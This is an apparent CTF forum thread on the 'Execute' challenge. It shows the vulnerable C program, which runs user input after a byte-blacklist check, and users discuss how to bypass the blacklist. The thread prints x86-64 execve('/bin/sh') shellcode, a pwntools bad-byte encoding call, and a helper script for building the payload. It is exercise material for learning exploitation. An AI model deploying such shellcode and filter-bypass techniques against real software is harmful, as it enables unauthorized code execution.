Let’s talk about Execute
. Please do not share any flags or writeups.
Nice challenge. We should bypass this filter and read the flag
int main(){
char buf[62];
char blacklist[] = "\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67";
setup();
puts("Hey, just because I am hungry doesn't mean I'll execute everything");
int size = read(0, buf, 60);
if(!check(blacklist, buf, size, strlen(blacklist))) {
puts("Hehe, told you... won't accept everything");
exit(1337);
}
( ( void (*) () ) buf) ();
}
Pretty easy one, just need to learn to craft shellcodes
Craft shellcodes by hand? I know pwntools has an option for this, but it generates shellcode that’s too long and not very useful:
shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05'
avoid = list(b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67")
newShellCode = encode(shellcode, avoid=avoid)
Yes, this one is pretty simple, wouldn’t take long in assembly
So did you write the shellcode on your own (with Assembly on a code editor) or did you use a tool like pwntools?
I wrote my own code and assembled it, you can also convert asm using pwntools.
Nice challenge. I finally solved it on my second attempt. The blacklist might seem daunting, which is why I gave up at first. But check this out:
>>> blacklist = b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67"
>>> print(blacklist)
b';Tbinsh\xf6\xd2\xc0_\xc9flag'
>>>
They actually filtered unwanted strings instead of operand bytecodes (almost). This can be easily bypassed. Just grab a shellcode and make some modifications (have you ever heard of XOR?). You can use this shellcode to modify:
xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
syscall
I have limited knowledge of shellcode, so I created this template to modify assembly code and track which operands are blocked bytes. Here it is:
from pwn import *
context.arch = 'amd64'
blacklist = list( b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67")
shellcode = '''
xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
syscall
'''
sc = asm(shellcode)
bad_bytes = ' '.join([hex(x) for x in blacklist])
print(f'Length: {len(sc)}')
print(f'Shellcode: {sc}')
print(f'Bad bytes: {bad_bytes}')
disassembled = disasm(sc)
print("Disassembled code:")
print(disassembled)
The output will be something like this:
Disassembled code:
0: 31 f6 xor esi, esi
2: 56 push rsi
3: 48 bb 2f 62 69 6e 2f 2f 73 68 movabs rbx, 0x68732f2f6e69622f
d: 53 push rbx
e: 54 push rsp
f: 5f pop rdi
10: f7 ee imul esi
12: b0 3b mov al, 0x3b
14: 0f 05 syscall